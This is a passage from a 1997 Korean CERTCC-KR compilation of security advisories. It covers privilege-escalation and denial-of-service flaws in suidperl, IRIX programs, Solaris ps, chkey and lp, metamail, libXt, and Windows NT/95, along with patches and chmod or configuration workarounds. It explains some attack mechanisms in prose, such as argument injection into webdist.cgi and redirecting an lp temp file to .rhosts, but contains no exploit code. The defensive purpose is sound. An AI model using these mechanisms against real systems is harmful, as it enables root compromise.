출처 : ftp://ftp.auscert.org.au/pub/AA-97.13.suidperl.buffer.overrun.vul

--제목--------------------------------------

suidperl 취약점과 대책

--개요--------------------------------------

perl 4.x~5.003 버전의 suidperl(sperl) 프로그램에 존재하는 취약성으로 인하여 일반사용

자는 루트권한을 얻을 수 있다.

--설명--------------------------------------

몇몇 시스템에서 setuid 스크립트들은 커널내의 경쟁상태(race condition)으로 인하여 안전

하지 못하다. 이런 취약성을 해결하기 위해 perl 버전 4와 5부터는 suidperl, 또는 sperl이

란 이름의 프로그램을 포함한다. suidperl 프로그램은 커널에서 set-user-ID와

set-group-ID 프로그램 수행시 처리동작을 에뮬레이션한다. 이를 위해 suidperl 프로그램

은 먼저 perl 스크립트의 effective-user-ID를 바꾸고 suidperl 프로그램은 변화된 스크립

트를 읽어서 effective-user-ID로 해당 스크립트를 수행한다. 이 같은 동작을 위해서는

suidperl 프로그램은 set-user-ID 루트로 설치되야 한다. suidperl의 수행시 사용자에 의해

제공되는 인수에 대한 한계검사의 부족으로 내부스택의 오버플로우가 발생할 가능성이 있으

며 공격자는 이를 이용하여 루트권한으로 임의의 명령을 수행할 수 있다.

--영향--------------------------------------

suidperl 프로그램이 설치된 시스템의 일반사용자는 루트권한을 얻을 수 있다.

- 영향받는 버전 : sperl 4.x~5.003

--해결책-------------------------------------

- 5.003의 경우 패치를 설치한다.

ftp://ftp.aucert.org.au/pub/aucert/tools/suidperl.patch

- 그 이하 버전은 suidperl 프로그램에서 setuid. setgid 권한을 제거한다.

--한국정보보호센터 CERTCC-KR 침해사고 지원 안내----------------

전 화 : 02-3488-4119 삐삐 : 015-993-4571

핸드폰 : 018-312-4119 팩스 : 3488-4129

Email : [email protected]

Page 843: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

침해사고 접수 방법은 http://www.certcc.or.kr/service.html을 참고 바람

참조 : http://www.certcc.or.kr/adv/ka-38.txt

Page 844: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

CERTCC-KR 권고문 : KA-97-39-IRIX login LOCKOUT

------------------------------------------

최초 발표일 : 1997.5.9

갱신일 및 갱신 내용 :

출처 : AUSCERT Advisory AA-97.12

--제목--------------------------------------

IRIX login LOCKOUT 취약점과 대책

--개요--------------------------------------

/etc/default/login의 LOCOUT 파라미터가 0보다 큰 값으로 지정되 있을 때 login 프로그램

에 취약점이 생긴다. 이 취약점은 IRIX 버전 5.3 과 6.2 에 존재하며, 다른 버전도 취약할

수 있다.

--설명--------------------------------------

/etc/default/login 파일은 보안을 위한 기본적인 로그인 구성옵션 값들을 가지고 있다. 만일

LOCKOT 파라미터가 이 파일을 포함되어 있고, 0이상의 값으로 설정되어 있다면, 그 횟수

만큼 로그인 시도를 실패하면 그 계정은 LOCKOUT 된다. 임의계정이 LOCKOUT되는 경우

로그인시의 부적절한 확인절차로 인하여 사용자들은 시스템에 임의의 파일을 생성하거나 특

정파일을 파괴할 수 있다. 다음과 같이 시스템에 LOCKOUT 파라미터가 설정되어 있는지

확인한다.

%grep '^LOCKOUT' /etc/default/login

LOCKOUT=3

위와 같이 LOCKOUT 파라미터의 값이 0보다 클 때 취약점이 생긴다.

--영향--------------------------------------

사용자가 임의의 파일을 생성하거나, 특정 파일을 파괴할 수 있다.

--해결책-------------------------------------

현재 SGI에서 연구중이며 패치가 나오기 전까지 다음과 같이 LOCKOUT 파라미터의 기능

을 제거한다. /etc/default/login 내의 LOCKOUT 파라미터를 포함하고 있는 줄을 “#”으로

comment 처리한다. 단, 이 경우 연속적인 로그인 실패시 자동계정폐쇄의 기능이 동작하지

않는다.

--한국정보보호센터 CERTCC-KR 침해사고 지원 안내----------------

전 화 : 02-3488-4119 삐삐 : 015-993-4571

핸드폰 : 018-312-4119 팩스 : 3488-4129

Email : [email protected]

Page 845: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

침해사고 접수 방법은 http://www.certcc.or.kr/service.html을 참고 바람

참조 : http://www.certcc.or.kr/adv/ka-39.txt

Page 846: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

CERTCC-KR 권고문 : KA-97-40-LibXt

------------------------------------------

최초 발표일 : 97.3.1

갱신일 및 갱신 내용 :

출처 : CERT Advisory CA-97.11

ftp://info.cert.org/pub/cert_advisories/CA-97.11.libXt

--제목--------------------------------------

X window System libXt 취약점과 대책

--설명--------------------------------------

Open Group에 의해 배포된 Xt 라이브러리와 xc/lib/Xt/Error.c 파일에서 버퍼오버플로우

취약성이 존재하는데 이 라이브러리를 이용하여 만든 프로그램에 setuid나 setgid가 설정된

경우, 공격자는 허용되지 않은 사용자 권한으로 임의의명령을 실행시킬 수 있다. 만약

setuid root가 설정되어 있으면 root의 권한을 불법으로 획득할 수 있다. 이러한 취약성은

X11 Release 6.3 이전 버전의 소스코드를 이용하여 작성된 프로그램에 setuid나 setgid를

설정하여 이용할 경우 일어나는데 이러한 X 응용프로그램들은 주로 /xc/config/cf/site.def

파일의 ProjectRoot 항목에 지정된 디렉토리에 위치한다.

--해결책-------------------------------------

1. 다음에서 X11 Release 6.3을 가져와서 교체 설치한다.

ftp://ftp.x.org/pub/R6.3/tars/xc-1tar.gz, xc-2.tar.gz,xc-3.tar.gz

2. 또는, 자신의 X Window 업체로부터 제공되는 패치를 설치한다.

3. 또는, 취약한 X 응용프로그램을 찾아 setuid bitsk setgid bit를 제거한다.

--기타--------------------------------------

자세한 설명은 CERT 권고문 원문을 참조하기 바람

--한국정보보호센터 CERTCC-KR 침해사고 지원 안내----------------

전 화 : 02-3488-4119 삐삐 : 015-993-4571

핸드폰 : 011-732-7821 팩스 : 02-3488-4129

Email : [email protected]

침해사고 접수 방법은 http://www.certcc.or.kr/service.html을 참고 바람

참조 : http://www.certcc.or.kr/adv/ka-40.txt

Page 847: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

CERTCC-KR 권고문 : KA-97-41-Xlock 취약점

------------------------------------------

최초 발표일 : 97. 5.

갱신일 및 갱신 내용 :

출처 : CERT Advisory CA-97.13, 1997. 5. 7

ftp://info.cert.org/pub/cert_advisories/CA-97.13.xlock

--제목--------------------------------------

Xlock 프로그램 취약점과 대책

--설명--------------------------------------

xlock은 X 터미널을 잠그기 위한 프로그램인데 일부 xlock 프로그램이 버퍼 오버플로우 보

안문제점을 가질 수 있으며, 어떤 환경에서 setuid 또는 setgid 권한이 설정되어 있을 경우

일반 사용자가 시스템에 불법적으로 접근할 수 있다. 다양한 시스템에서 이와 같은 취약성

이 있는 xlock 프로그램들이 발견되었으며, 이를 해결하기 위한 패치들이 제공되고 있다.

--해결책-------------------------------------

1. 패치를 적용하는 방법

각각의 시스템에 해당하는 패치를 가져와서 설치한다. 현재 이 취약점을 가지고 있는 시스

템들은 다음과 같다.

Data General Corporation

FreeBSD, Inc.

Hewlett-Packard Company

IBM Corporation

Linux : Devian

SuSE

Sun Microsystems, Inc

2. 임시적 해결 방법

패치를 가져와서 설치하는 것이 불가능한 경우 관리자로 로그인한 후 다음과 같이 조치한

다.

- setuid 또는 setgid 권한을 가진 xlock 실행을 정지시킨다.

- xlockmore 프로그램의 최신버전(4.02)를 설치한다.

ftp://ftp.x.org/contrib/applications/xlockmore-4.02.tar.gz

--비고--------------------------------------

보다 상세한 내용을 알기 위해서는 CERT 권고문 원문을 참고바람

Page 848: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

--한국정보보호센터 CERTCC-KR 침해사고 지원 안내----------------

전 화 : 02-3488-4119 삐삐 : 015-993-4571

핸드폰 : 018-312-4119 팩스 : 3488-4129

Email : [email protected]

침해사고 접수 방법은 http://www.certcc.or.kr/service.html을 참고 바람

참조 : http://www.certcc.or.kr/adv/ka-41.txt

Page 849: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

CERTCC-KR 권고문 : KA-97-42-SGICsetup

------------------------------------------

최초 발표일 : 97. 5.

갱신일 및 갱신 내용 :

출처 : SGI Security Advisory 19970101-02-PX, 1997. 5. 5

http://www.sgi.com/Support/Secur/security.html

--제목--------------------------------------

SGI csetup 프로그램 취약점과 대책

--설명--------------------------------------

csetup (/usr/Cadmin/bin/csetup)은 시스템과 네트워크를 설치하고 설정하기 위한 그래픽

프로그램이다. 이 프로그램은 관리자(root) 권한으로 수행하도록 되어있으나, 일부 특별한

권한을 가진 사용자도 사용할 수 있다. 이러한 특별한 권한을 가진 사용자를 위해 csetup

프로그램에 setuid가 설정이 되어 있어 취약점이 생길 수 있다.

csetup 프로그램은 디버그 모드로 실행될 수 있으며, 이 때 로그파일이 생성된다. 그런데,

csetup 프로그램은 setuid 권한으로 수행되므로 임의의 파일을 생성하거나 수정하는데 악

용될 수 있다.

IRIX 5.x, 6.0, 6.0.1, 6.1 그리고 6.2 버전들이 이 취약점을 가지고 있으며, 시스템 최초 설

치시 기본적으로 설치된다. IRIX 6.3과 6.4 버전에서는 이 취약점이 해결되었다.

--해결책-------------------------------------

1. 패치를 적용하는 방법

SGI사에서 제공하고 있는 패치를 가져와서 설치한다.

http://www.sgi.com/Support/Secur/patches.html

2. 임시적인 해결 방법

패치를 가져와서 설치하는 것이 불가능한 경우에는 다음과 같이 관리자로 로그인한 뒤

csetup 프로그램으로부터 setuid 권한을 제거한다.

#/bin/chmod u-s /usr/Cadmin/bin/csetup

--기타--------------------------------------

보다 상세한 내용을 알기 위해서는 SGI발표 원문을 참고바람

--한국정보보호센터 CERTCC-KR 침해사고 지원 안내----------------

전 화 : 02-3488-4119 삐삐 : 015-993-4571

핸드폰 : 018-312-4119 팩스 : 3488-4129

Email : [email protected]

Page 850: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

침해사고 접수 방법은 http://www.certcc.or.kr/service.html을 참고 바람

참조 : http://www.certcc.or.kr/adv/ka-42.txt

Page 851: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

CERTCC-KR 권고문 : KA-97-43-IRIXWebdist.cgi 취약성

------------------------------------------

최초 발표일 : 97.3.6

갱신일 및 갱신 내용 :

출처 : CERT Advisory CA-97.12

ftp://info.cert.org/pub/cert_advisories/CA-97.12.webdist

--제목--------------------------------------

IRIX webdist.cgi 프로그램 취약점과 대책

--설명--------------------------------------

IRIX 5.x와 6.x 시스템의 Mindshare Out Box 패키지에 있는 webdist.cgi 라는 CGI 프로

그램에서 취약성이 발견되었으며 이를 이용하여 일반 사용자가 httpd데몬(Daemon) 권한으

로 임의의 프로그램을 실행시킬 수 있다.

Mindshare Out Box는 WWW 인터페이스를 이용하여 네트워크를 통해 소프트웨어를 설치

할 수 있게 하는 패키지로서 IRIX 5.x와 6.x에 제공된다. 이 패키지에 포함된 webdist.cgi

프로그램은 webdist.html 파일에서 정의된 HTML 양식 인터페이스를 통해 webdist(1) 명

령을 호출할 수 있도록 해준다. 그러나 webdist.cgi 프로그램으로 넘겨지는 인수들에 대해

적절히 검사하지 않기 때문에 임의의 명령을 인수로 넘겨 httpd 데몬의 권한으로 실행시킬

수 있는 것이다. 더구나, webdist.cgi는 웹서버에 접속할 수 있는 모든 사용자들이 접근할

수 있으므로 원격지에서도 공격할 수 있으며 웹서버가 방화벽시스템 뒤편에 설치되어 있어

도 공격이 가능하다.

--해결책-------------------------------------

다음 명령으로 webdist 패키지가 설치되어 있는지 확인한다.

# versions outbox.sw.webdist

1. 업체의 패치가 발표되면 가져다 설치한다.

2. 다음과 같은 방법으로 우선 /var/www/cgi-bin 디렉토리에 있는 webdist.cgi 프로그램에

서 실행모드를 제거한다.

chmod 400 /var/www/cgi-bin/webdist.cgi

3. 만약 webdist 프로그램이 필요하지 않다면 이를 제거한다.

#versions remove outbox.sw.webdist

4. 그밖에 cgi-bin 디렉토리에서 필요없는 프로그램들을 모두 삭제하고 httpd 데몬을 일반

사용자의 권한으로 실행시키는 것이 좋다.

--기타--------------------------------------

자세한 설명은 CERT권고문 원문을 참조하기 바람.

Page 852: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

--한국정보보호센터 CERTCC-KR 침해사고 지원 안내----------------

전 화 : 02-3488-4119 삐삐 : 015-993-4571

핸드폰 : 018-312-4119 팩스 : 02-3488-4129

Email : [email protected]

침해사고 접수 방법은 http://www.certcc.or.kr/service.html을 참고 바람

참조 : http://www.certcc.or.kr/adv/ka-43.txt

Page 853: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

CERTCC-KR 권고문 : KA-97-44-IRIXNetprint

------------------------------------------

최초 발표일 : 97.5.26

갱신일 및 갱신 내용 :

출처 : SGI Security Advisory 19961203-02-PX, 1997. 5. 8

http://www.sgi.com/Support/Secur/security.html

--제목--------------------------------------

IRIX netprint 취약성과 대책

--설명--------------------------------------

/usr/sbin/print/netprint는 프린팅 시스템이 사용하는 프로그램으로서 이 프로그램의 취약점

을 이용하여 일반 사용자가 관리자 권한을 얻을 수 있다.

--해결책-------------------------------------

1. 패치를 적용하는 방법

SGI사에서 제공하고 있는 패치를 가져와서 설치한다.

http://www.sgi.com/Support/Secur/patches.html

2. 임시적인 해결 방법

패치를 가져와서 설치하는 것이 불가능한 경우에는 다음과 같이 관리자로 로그인한 뒤 취약

점이 있는 프린트 서브시스템을 제거한다.

# /usr/sbin/version -v remove print

--비고--------------------------------------

보다 상세한 내용을 알기 위해서는 SGI발표 원문을 참조바람

--한국정보보호센터 CERTCC-KR 침해사고 지원 안내----------------

전 화 : 02-3488-4119 삐삐 : 015-993-4571

핸드폰 : 018-312-4119 팩스 : 3488-4129

Email : [email protected]

침해사고 접수 방법은 http://www.certcc.or.kr/service.html을 참고 바람

참조 : http://www.certcc.or.kr/adv/ka-44.txt

Page 854: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

CERTCC-KR 권고문 : KA-97-45-SOL2LpPrint

------------------------------------------

최초 발표일 : 97.3.13

갱신일 및 갱신 내용 :

출처 : CIAC Security Advisory, AUSCERT Advisory

ftp://ftp.auscert.org.au/pub/auscert/advisory/AA-97-15.Solaris.Ip.temp.

file.creation.vul

--제목--------------------------------------

Solaris 2.x Ip Print 서비스 취약점과 대책

--설명--------------------------------------

Solaris 2.x Ip 프린트 서비스가 안전하지 않은 방법으로 임시파일을 생성하여 보안 취약성

존재한다. Ip 프린트 서비스는 파일들을 프린터에 출력하는 기능이 있으며 Ip 프린트 서비

스가 스풀(spool)로 출력할 때 Ip 소유 666 모드를 가진 임시 파일을 /var/tmp 디렉토리에

생성한다. 이 파일을 .rhosts와 같은 임의의 파일로 링크시켜 Ip 소유의 임시 파일을 생성하

거나 덮어 쓸수 있고(overwrite), 이를 이용하여 다시 관리자(root) 권한을 얻는 수단으로

사용할 수 있다.

--해결책-------------------------------------

1. 패치가 나오는데로 설치한다.

2. 설치된 Ip의 구성 변경

가. 다음 명령으로 프린트 서비스를 중지하고 프린트 큐를 비운다.

# /etc/init.d/Ip stop

# /usr/sbin/reject printer_queue

나. /etc/init.d/Ip 파일을 다음과 같이 수정하여 umask를 022로 설정한다.

state=$1 ===> umask 022

state=$1

다. 이미 만들어진 로그파일들의 이름을 바꾸거나 지운다. 이름을 바꾸기전에 큐에 대기중

인 작업이 없도록 한다.

# mv -i /var/Ip/logs/IpNet /var/Ip/logs/IpNet.previous

# mv -i /var/Ip/logs/Ipsched /var/Ip/logs/Ipsched.previous

# mv -i /var/Ip/logs/requests /var/Ip/logs/requests.previous

라. 임시파일의 디폴트 디렉토리를 /var/Ip/로 바꾼다.

# echo 'Options: PRINTER *=-L/var/Ip/*.log' | Ipfilter -f postio -

# echo 'Options: PRINTER *=-L/var/Ip/*.log' | Ipfilter -f postior -

마. 프린트 서비스를 다시 시작한다.

# /etc/init.d/Ip start

Page 855: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

바. 위에서 /usr/sbin/reject 명령을 사용했다면 다음 명령을 수행한다.

# /usr/sbin/accept printer_queue

--기타--------------------------------------

자세한 설명은 원문 AUSCERT Advisory를 참조하기 바람.

--한국정보보호센터 CERTCC-KR 침해사고 지원 안내----------------

전 화 : 02-3488-4119 삐삐 : 015-993-4571

핸드폰 : 018-312-4119 팩스 : 02-3488-4129

Email : [email protected]

침해사고 접수 방법은 http://www.certcc.or.kr/service.html을 참고 바람

참조 : http://www.certcc.or.kr/adv/ka-45.txt

Page 856: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

CERTCC-KR 권고문 : KA-97-46-IRIXRunpriv

------------------------------------------

최초 발표일 : 97.3.14

갱신일 및 갱신 내용 :

출처 : SGI Security Advisory 19970505-01-PX

http://www.sgi.com/Support/Secur/advisories.html

--제목--------------------------------------

IRIX runpriv 프로그램 취약점과 대책

--설명--------------------------------------

관리용 서브시스템의 일부부인 runpriv 프로그램의 취약성이 존재하며, 이를 이용하여 계정

을 가진 일반 사용자가 관리자(root)의 권한을 얻을 수 있다.

/urs/sysadm/bin/runpriv 프로그램은 관리 권한이 없는 사용자들이 일부 관리용 명령들을

실행시킬 수 있도록 해주는 프로그램이다. 이 프로그램은 IndigoMagic System

Adminstration 서브 시스템의 일부분으로서 IRIX 6.3과 6.4에만 제공된다.

runpriv 프로그램을 이용한 공격방법은 널리 공개되지 않았다. 그러나 이 프로그램의 취약

성을 이용하여 IRIX 6.3과 6.4 시스템에서 계정을 가진 사용자가 관리자(root)의 권한을 얻

을 수 있다.

--해결책-------------------------------------

1. 패치를 설치한다.

IRIX 6.3의 패치 # : 2077

http://www.sgi.com/Support/Secur/patches.html

IRIX 6.4의 패치 # : 2078

http://www.sgi.com/Surpport/patches.html

2. 또는 다음명령을 일반 사용자가 runpriv 명령을 사용하지 못하게 한다.

# chkconfig privileges off

--기타--------------------------------------

자세한 설명은 원문 SGI Advisory를 참조하기 바람.

--한국정보보호센터 CERTCC-KR 침해사고 지원 안내----------------

전 화 : 02-3488-4119 삐삐 : 015-993-4571

핸드폰 : 018-312-4119 팩스 : 02-3488-4129

Email : [email protected]

Page 857: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

침해사고 접수 방법은 http://www.certcc.or.kr/service.html을 참고 바람

참조 : http://www.certcc.or.kr/adv/ka-46.txt

Page 858: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

CERTCC-KR 권고문 : KA-97-47-Metamail

------------------------------------------

최초 발표일 : 97.3.21

갱신일 및 갱신 내용 :

출처 : CERT Advisory CA-97.14

ftp://info.cert.org/pub/cert_adviories/CA-97.14.metamail

--제목--------------------------------------

metamail 취약점과 대책

--설명--------------------------------------

MIME(Multipurpose Internet Mail Extensions)은 인터넷의 전자메일에 그림, 음향, 텍스트

등을 포함할 수 있도록 해주는 표준화된 포맷으로서 metamail은 MIME을 사용할 수 있게

구현한 패키지로 다음의 사이트에서 구할 수 있다.

ftp://ftp.funet.fi/pub/unix/mail/metamail/mm2.7.tar.Z

metamail은 mailcap 이라는 구성 파일을 이용하여 전자메일 헤더에 있는 “content"의 값에

따라 전자메일을 어떻게 처리할지를 결정한다. 전자메일을 처리하는 많은 패키지들은 메시

지가 처리될 때 자동으로 metamail을 호출하게 되어 있다.

metamail의 지원 스크립트들중 일부는 전달된 변수들을 충분히 검사하지 않는다. 따라서

수신자가 metamail을 이용하여 메시지를 처리할 경우, 송신자가 메시지 헤더를 조작하여

임의의 명령을 실행시킬 수 있다.

--해결책-------------------------------------

1. 각 metamail 제공업체에서 제공하는 패치를 설치한다.

2. metamail을 쓸 필요가 없을 경우 metamail 스크립트의 실행권한을 제거한다.

3. CA Advisory에서 제공하는 패치를 적용한다(참조).

--기타--------------------------------------

자세한 설명은 AUSCERT Advisory 원문을 참조하기 바람.

--한국정보보호센터 CERTCC-KR 침해사고 지원 안내----------------

전 화 : 02-3488-4119 삐삐 : 015-993-4571

핸드폰 : 018-312-4119 팩스 : 3488-4129

Email : [email protected]

침해사고 접수 방법은 http://www.certcc.or.kr/service.html을 참고 바람

참조 : http://www.certcc.or.kr/adv/ka-47.txt

Page 859: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

CERTCC-KR 권고문 : KA-97-48-SOLPs

------------------------------------------

최초 발표일 : 97.5.30

갱신일 및 갱신 내용 :

출처 : AUSCERT Advisory CA-97.17

ftp://ftp.auscert.org.au/pub/auscert/advisory/AA-97.17.solaris.ps.buffer.overflow.vul

--제목--------------------------------------

Solaris ps 프로그램 버퍼 오버플로우 취약점과 대책

--설명--------------------------------------

Solaris 2.x 시스템의 ps 프로그램에서 버퍼 오버플로우 취약성이 발견되었다. 이 취약성을

이용하여 일반 사용자가 관리자(root) 권한을 획득할 수 있다. ps 프로그램은 시스템에서

수행중인 프로세스들에 대한 정보를 보여주는 프로그램인데 이 프로그램으로 넘겨지는 인수

들의 길이를 정확히 검사하지 않아 프로그램의 내부 데이터 영역을 덮어 쓸 수 있다.

Solaris 2.x에는 /usr/bin/ps와 /usr/ucb/ps의 두가지 취약한 프로그램이 있으며 ps에 대한

공격 프로그램이 널리 알려져 있으므로 즉각적인 조치가 필요하다. 패치는 아직 제공되지

않고 있다.

--해결책-------------------------------------

1. ps 프로그램에서 setuid 설정과 일반사용자의 실행권한을 제거한다.

# chmod 500 /usr/bin/ps/usr/ucb/ps

이 경우 일반 사용자는 ps 명령을 사용할 수 없게 된다.

2. AUSCERT에서 제공하는 랩퍼(wrapper)를 이용한다.

ftp://ftp.auscert.org.au/pub/auscert/tools/overflow_wrapper/overflow_wrapper.c

--기타--------------------------------------

자세한 설명은 AUSCERT Advisory 원문을 참조하기 바람.

--한국정보보호센터 CERTCC-KR 침해사고 지원 안내----------------

전 화 : 02-3488-4119 삐삐 : 015-993-4571

핸드폰 : 018-312-4119 팩스 : 3488-4129

Email : [email protected]

침해사고 접수 방법은 http://www.certcc.or.kr/service.html을 참고 바람

참조 : http://www.certcc.or.kr/adv/ka-48.txt

Page 860: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

CERTCC-KR 권고문 : KA-97-49-SOLChkey

------------------------------------------

최초 발표일 : 97.3.22

갱신일 및 갱신 내용 :

출처 : AUSCERT Advisory CA-97.18

ftp://ftp.auscert.org.au/pub/auscert/advisory/AA-97.18.solaris.chkey.buffer.overflow.vul

--제목--------------------------------------

Solaris chkey 버퍼오버플로우 취약점과 대책

--설명--------------------------------------

Solaris 2.x 시스템의 chkey 프로그램에서 버퍼 오버플로우 취약성이 발견되었다. 이 취약

성을 이용하여 일반 사용자가 관리자(root) 권한을 획득할 수 있다. chkey 프로그램은 사용

자의 RPC 공개키(public key)와 비 키(secret key)를 변경하는 프로그램인데 이 프로그램

으로 넘겨지는 인수들의 길이를 정확히 검사하지 않아 프로그램의 내부 데이터 영역을 덮어

쓸 수가 있다. 더구나 이 프로그램에는 setuid root가 설정되어 있기 때문에 공격자가 이

취약성을 이용하면 관리자(root)의 권한을 획득할 수 있다.

chkey 프로그램은 Solaris 2.x 시스템의 /usr/bin/에 위치한다. chkey에 대한 공격 프로그

램이 널리 알려졌으므로 즉각적인 조치가 필요하다. 패치는 아직 제공되지 않고 있다.

--해결책-------------------------------------

1. chkey 프로그램에서 setuid 설정과 일반사용자의 실행권한을 제거한다.

#chmod 500 /usr/bin/chkey

이 경우 일반 사용자는 chkey 명령을 사용할 수 없게 된다.

ftp://ftp.auscert.org.au/pub/auscert/tools/overflow_wrapper/

overflow_wrapper.c

--기타--------------------------------------

자세한 설명은 AUSCERT Advisory 원문을 참조하기 바람.

--한국정보보호센터 CERTCC-KR 침해사고 지원 안내----------------

전 화 : 02-3488-4119 삐삐 : 015-993-4571

핸드폰 : 018-312-4119 팩스 : 3488-4129

Email : [email protected]

침해사고 접수 방법은 http://www.certcc.or.kr/service.html을 참고 바람

참조 : http://www.certcc.or.kr/adv/ka-49.txt

Page 861: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

CERTCC-KR 권고문 : KA-97-50-NT9500BD

------------------------------------------

최초 발표일 : 97.5.

갱신일 및 갱신 내용 :

출처 : CIAC Information Bulletin

http://ciac.llnl.gov

--제목--------------------------------------

Windows NT/95 OOB 취약점과 대책

--설명--------------------------------------

윈도우즈 시스템에서 “URGENT" 플래그가 설정된 패킷이 전달되면, 윈도우즈시스템은 그

플래그에 이어 데이터가 오는 것으로 가정하는데, 이 때 데이터가 없이 플래그만을 보내면

시스템이 정지하거나 네트워크 기능이 정지된다. 특히 Netbios 세션 서비스 포트인 139번

TCP 포트가 취약하며, 다른 포트들도 취약 가능성을 내재하고 있다.

윈도우즈 NT : 파란색 전화면에 시스템에 문제가 생겼다는 화면을 보여주면서 시스템이 정

지한다. 저장되지 않은 모든 정보를 잃게 되며, 그 외의 다른 피해는 없다.

윈도우즈 95 : 응용프로그램의 동작이 정지되었다는 창이 하나 표시되며, 저장되지 않은 정

보를 잃게 된다. 그 외의 다른 피해는 없다.

--해결책-------------------------------------

1. 시스템을 재부트하면 시스템은 다시 정상적으로 동작한다.

2. 파이어월을 설치하여 신뢰할 수 있는 특정 호스트로부터의 접근만을 가능하게 하거나 파

이어월이나 라우터에서 Netbios 서비스 포트를 막는다.

3. 파이어월의 설치가 곤란하다면, 마이크로소프트사에서 제공하는 패치를 설치한다. 단 한

글버전의 윈도우즈에는 아직 패치가 제공되지 않고 있으며, 아래의 패치를 한글판에 적용

하면 시스템에 문제가 생길 수 있으므로 영문판에만 적용해야 한다.

Windows NT 4.0 패치

ftp://ftp.microsoft.com/bussys/winnt/winnt-public/fixes/usa/nt40/hotfixes-postSP2/ob-f

ix

Windows NT 3.51 패치

ftp://ftp.microsoft.com/bussys/winnt/winnt-public/fixes/usa/NT351/hotfixes-postSP5/o

ob-fix

Page 862: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

4. 한글 윈도우즈 NT 4.0에 대해서는 다음과 같은 임시적인 해결책을 활용한다.

가. 제어판 선택

나. 네트워크 항목에서 프로토콜 탭 선택

다. TCP/IP 프로토콜 선택

라. 등록정보 클릭

마. IP 주소 탭 선택

바. 고급 선택

사. 보안사용 선택

아. 구성 클릭

자. TCP/IP 보안의 TCP 포트에서 전부허용을 다음만 허용으로 변경

아. 외부 서비스에 필요한 TCP/IP 포트만을 추가

--기타--------------------------------------

보다 상세한 내용을 알기 위해서는 CIAC 발표 원문을 참고바람.

--한국정보보호센터 CERTCC-KR 침해사고 지원 안내----------------

전 화 : 02-3488-4119 삐삐 : 015-993-4571

핸드폰 : 018-312-4119 팩스 : 3488-4129

Email : [email protected]

침해사고 접수 방법은 http://www.certcc.or.kr/service.html을 참고 바람

참조 : http://www.certcc.or.kr/adv/ka-50.txt

